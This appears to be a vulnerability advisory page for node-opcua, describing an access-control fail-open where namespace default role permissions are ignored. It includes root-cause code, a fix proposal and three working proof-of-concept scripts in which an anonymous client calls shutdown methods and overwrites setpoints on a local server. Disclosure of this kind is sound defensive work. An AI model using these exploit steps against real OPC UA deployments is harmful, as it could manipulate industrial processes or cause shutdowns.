node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.
node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.
node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.
## Summary
An unauthenticated (**Anonymous**) client can **Write** protected Variables and **Call** privileged Methods on any Node that lacks explicit per-node permissions.
This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit `RolePermissions` attribute inherit the namespace `DefaultRolePermissions`. OPC 10000-3 §4.8.3 mandates a **default-deny** evaluation (`Bad_UserAccessDenied` when the operation bits are not set); `node-opcua` instead **grants all permissions**.
The root cause is a combination of an authorization **fail-open** and a **disconnect** between the configuration API and the runtime enforcement path.
---
## Affected configuration
This advisory covers two cases that are not equally severe:
1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed.
2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default.
Everything below describes case 2 unless stated otherwise.
## Root Cause Analysis
### Bug 1 - `getPermissionForRole(null)` returns `allPermissions` (violates §4.8.3 default-deny)
File: `packages/node-opcua-address-space/source/session_context.ts:151-153`
```ts
function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
if (rolePermissions === null) {
return allPermissions; // null means "grant everything" to ANY role, including Anonymous
}
```
When the applicable policy resolves to `null`, the function returns `allPermissions` (Read, Write, Call) to whichever role is checking permissions, **including Anonymous**. OPC 10000-3 §4.8.3 requires the opposite: *"If they are not set the Server returns `Bad_UserAccessDenied`."*
### Bug 2 - The namespace default resolves to `null` on the enforcement path
The runtime enforcement reads the `DefaultRolePermissions` / `DefaultUserRolePermissions` Variable nodes under `Server/Namespaces/<ns>`. These resolve to `null` in every reachable configuration:
- **NodeSet2-loaded namespaces** (DI / ADI / vendor) ship the Property **without a `Value`** (`null`).
- **Programmatically-created namespaces** have **no `NamespaceMetadata` node** under `Server/Namespaces`, so the lookup returns `null`.
Additionally, `server_engine.ts:947-957` rewrites these nodes to a Null-typed value on every `initialize()`, with no restore:
```ts
for (const ns of namespacesNode.getComponents()) {
const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
if (defaultRolePermissions) {
defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
}
}
```
> **Note:** the loaded value is already `null` in stock nodesets, so this reset only changes the value's `dataType` tag; it is **not** the sole cause, the namespace default is `null` regardless.
### Bug 3 - Two incoherent enforcement paths
There are two separate and disconnected paths to resolve namespace-default permissions.
**Path A (private field)** - `Namespace.setDefaultRolePermissions()` writes the policy exclusively to a JavaScript private field in `namespace_impl.ts`:
```ts
public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}
```
This is the value read by local getters (e.g. `BaseNodeImpl.getRolePermissions(inherited=true)`).
**Path B (UAVariable node)** - the runtime access-control enforcement (Read/Write/Call) queries the `DefaultRolePermissions` **UAVariable node** instead of the private field (`session_context.ts`):
```ts
const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
const dataValue = defaultRolePermissions.readValue();
if (dataValue?.statusCode.isGood()) {
return dataValue.value.value as RolePermissionType[] | null;
}
}
```
Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to `null`, the metadata node is **absent** (programmatic namespace) or **Null-valued** (nodeset namespace) and the operator's `setDefaultRolePermissions()` field is never consulted. That `null` then triggers the fail-open (Bug 1).
> *Measured:* with `setDefaultRolePermissions([Operator])` applied, `namespace.getDefaultRolePermissions()` returns the policy while `getApplicableRolePermissions()` returns `null`.
Synchronization between the two paths only happens if the operator calls `setNamespaceMetaData()`, which binds the field to the node via `bindVariable()`:
```ts
metaData.defaultRolePermissions?.bindVariable(
{
get: () =>
new Variant({
dataType: DataType.ExtensionObject,
arrayType: VariantArrayType.Array,
value: namespace.getDefaultRolePermissions()
})
},
true
);
```
Without calling `setNamespaceMetaData()`, `setDefaultRolePermissions()` has **no effect** on runtime authorization. **Furthermore, on NodeSet2-loaded namespaces `setNamespaceMetaData()` throws `"INamespace meta data already exists"` (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.**
---
## Steps to Reproduce
### PoC-A - Address-space level (unit test, no network)
Save as `packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts`, then run:
```bash
cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
```
```ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";
const _keep = should;
describe("PoC RBAC fail-open", () => {
let addressSpace: AddressSpace;
let namespace: Namespace;
before(async () => {
addressSpace = await getMiniAddressSpace();
namespace = addressSpace.getOwnNamespace();
});
after(() => addressSpace.dispose());
function anonymousContext(): SessionContext {
const ctx = new SessionContext();
ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
return ctx;
}
it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
const secured = namespace.addVariable({
browseName: "SecuredWithNodePermissions",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
secured.setRolePermissions([
{ roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
]);
const ctx = anonymousContext();
ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
});
it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
const relyingOnDefault = namespace.addVariable({
browseName: "RelyingOnNamespaceDefault",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
const ctx = anonymousContext();
const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
relyingOnDefault.isUserWritable(ctx).should.eql(true);
});
it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
const method = namespace.addMethod(obj, {
browseName: "PrivilegedMethod",
inputArguments: [],
outputArguments: []
});
method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
const ctx = anonymousContext();
ctx.checkPermission(method, PermissionType.Call).should.eql(true);
method.getUserExecutableFlag(ctx).should.eql(true);
});
});
```
**Output:**
```text
PoC RBAC fail-open
✓ A. CONTROL: per-node rolePermissions deny Anonymous
✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
✓ C. VULN: bound Method without per-node permission -> Anonymous can Call
3 passing
```
### PoC-B - End-to-end over TCP (programmatic namespace)
Save as `packages/node-opcua/poc_b_e2e_rbac.js`, then run `node poc_b_e2e_rbac.js` (add `--safe` for the control):
```js
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");
const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true
});
await server.initialize();
const ns = server.engine.addressSpace.getOwnNamespace();
// Operator hardening: namespace-level RBAC, Anonymous excluded
ns.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
{ roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
]);
if (SAFE_MODE) {
setNamespaceMetaData(ns);
}
const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
parentNodeId = device.nodeId;
const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
method.bindMethod((_in, _ctx, cb) => {
console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodNodeId = method.nodeId;
const variable = ns.addVariable({
browseName: "ReactorSetpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 350.0 }
});
variableNodeId = variable.nodeId;
await server.start();
console.log(`[server] Listening on ${ENDPOINT}`);
return server;
}
async function anonymousAttack() {
const client = OPCUAClient.create({
endpointMustExist: false,
securityMode: MessageSecurityMode.None,
securityPolicy: SecurityPolicy.None
});
await client.connect(ENDPOINT);
const session = await client.createSession({ type: UserTokenType.Anonymous });
console.log("[client] Anonymous session activated");
let callStatus;
try {
const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
callStatus = r.statusCode.toString();
} catch (e) { callStatus = e.message; }
let writeStatus;
try {
const r = await session.write({
nodeId: variableNodeId,
attributeId: AttributeIds.Value,
value: { value: { dataType: DataType.Double, value: 999.0 } }
});
writeStatus = r.toString();
} catch (e) { writeStatus = e.message; }
await session.close();
await client.disconnect();
return { callStatus, writeStatus };
}
(async () => {
const server = await startServer();
try {
const { callStatus, writeStatus } = await anonymousAttack();
console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
console.log(`CALL EmergencyShutdown : ${callStatus}`);
console.log(`WRITE ReactorSetpoint : ${writeStatus}`);
const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
} finally {
await server.shutdown();
}
})().catch(e => { console.error(e); process.exit(1); });
```
**Vulnerable output** (`node poc_b_e2e_rbac.js`):
```text
[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint : Good (0x00000000)
```
**Control output** (`node poc_b_e2e_rbac.js --safe`):
```text
Mode: SAFE
CALL EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000)
```
### PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)
Save as `packages/node-opcua/poc_c_nodeset_rbac.js`, then run `node poc_c_nodeset_rbac.js`:
```js
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");
const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true,
nodeset_filename: [nodesets.standard, nodesets.di]
});
await server.initialize();
const di = server.engine.addressSpace.getNamespace(DI_URI);
di.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
]);
try {
setNamespaceMetaData(di);
console.log("[server] hardening: metadata bound");
} catch (e) {
console.log("[server] hardening FAILED:", e.message);
}
const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
deviceId = device.nodeId;
const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
m.bindMethod((_i, _c, cb) => {
console.log("[server] Stop() EXECUTED by anonymous");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodId = m.nodeId;
const v = di.addVariable({
browseName: "Setpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 42 }
});
variableId = v.nodeId;
await server.start();
return server;
}
async function attack() {
const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
await client.connect(`opc.tcp://localhost:${PORT}`);
const s = await client.createSession({ type: UserTokenType.Anonymous });
const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
await s.close();
await client.disconnect();
console.log("CALL Stop() :", call);
console.log("WRITE Setpoint :", write);
}
(async () => {
const srv = await startServer();
try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });
```
**Output:**
```text
[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL Stop() : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)
```
---
## Impact
- **Write** arbitrary values to Variables (`CurrentWrite`) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters.
- **Call** bound Methods. Methods have no AccessLevel second gate; `executable` defaults to `true` for bound methods (`ua_method_impl.ts`).
- Affects **every Node** relying on the namespace `DefaultRolePermissions` inheritance mandated by OPC 10000-3 §5.2.9.
- Anonymous receives **every** `PermissionFlag` because `null` resolves to `allPermissions`.
- Availability impact (**A:H**, CVSS **9.8**) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored `A:N` as deployment-specific.
## What is NOT affected
Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.
- Nodes with explicit **per-node** `RolePermissions` (correctly enforced - PoC-A case A).
- Programmatically-created namespaces where the operator calls **both** `setDefaultRolePermissions()` **and** `setNamespaceMetaData()` (PoC-B `--safe`).
- Variables without `CurrentWrite` in AccessLevel (the **Call** vector still applies to Methods).
---
## Proposed Fix
1. **Fail-closed** - `getPermissionForRole(null)` should return `PermissionFlag.None`, not `allPermissions` (per §4.8.3 default-deny).
2. **Coherent path** - `getApplicableRolePermissions()` should use `node.getRolePermissions(inherited=true)`, which already reads the namespace field correctly.
3. **API safety** - `setDefaultRolePermissions()` should take effect on enforcement directly, without requiring `setNamespaceMetaData()` (which throws on nodeset-loaded namespaces).
4. **Hardening** - `server_engine.ts:947-957` should not unconditionally reset `DefaultRolePermissions`.
---
## Spec Reference (verified verbatim against the official OPC Foundation reference)
- **OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles:** *"If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns `Bad_UserAccessDenied`."* (default-deny, the behaviour Bug 1 inverts). <https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3>
- **OPC 10000-3 §5.2.9 - RolePermissions:** *"If not specified, the value of `DefaultRolePermissions` Property from the `NamespaceMetadata` Object associated with the Node shall be used instead."* and *"If a Server supports Permissions for a particular Namespace it shall add the `DefaultRolePermissions` Property to the `NamespaceMetadata` Object for that Namespace."* <https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9>
- **OPC 10000-5 §6.3.13 - NamespaceMetadataType** (defines `DefaultRolePermissions` / `DefaultUserRolePermissions` as Properties of the `NamespaceMetadata` Object). <https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13>
CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
Risk history
Compare earlier KEV listings and EPSS scores. Advisory wording and affected versions have a separate history.
When does an EPSS score appear as a change?
A prediction change is reported when EPSS rises from below 10% to 10% or higher. Every daily score change from the last 30 days stays in this history. Before that, it keeps KEV changes and moves between EPSS bands (0.1%, 1%, 5%, 10%, 20%, 50% and 90%).
Advisory history
7 saved versions
See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.
How advisory history works
Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.
node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without expli…
node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without expli…
node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without expli…
node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without expli…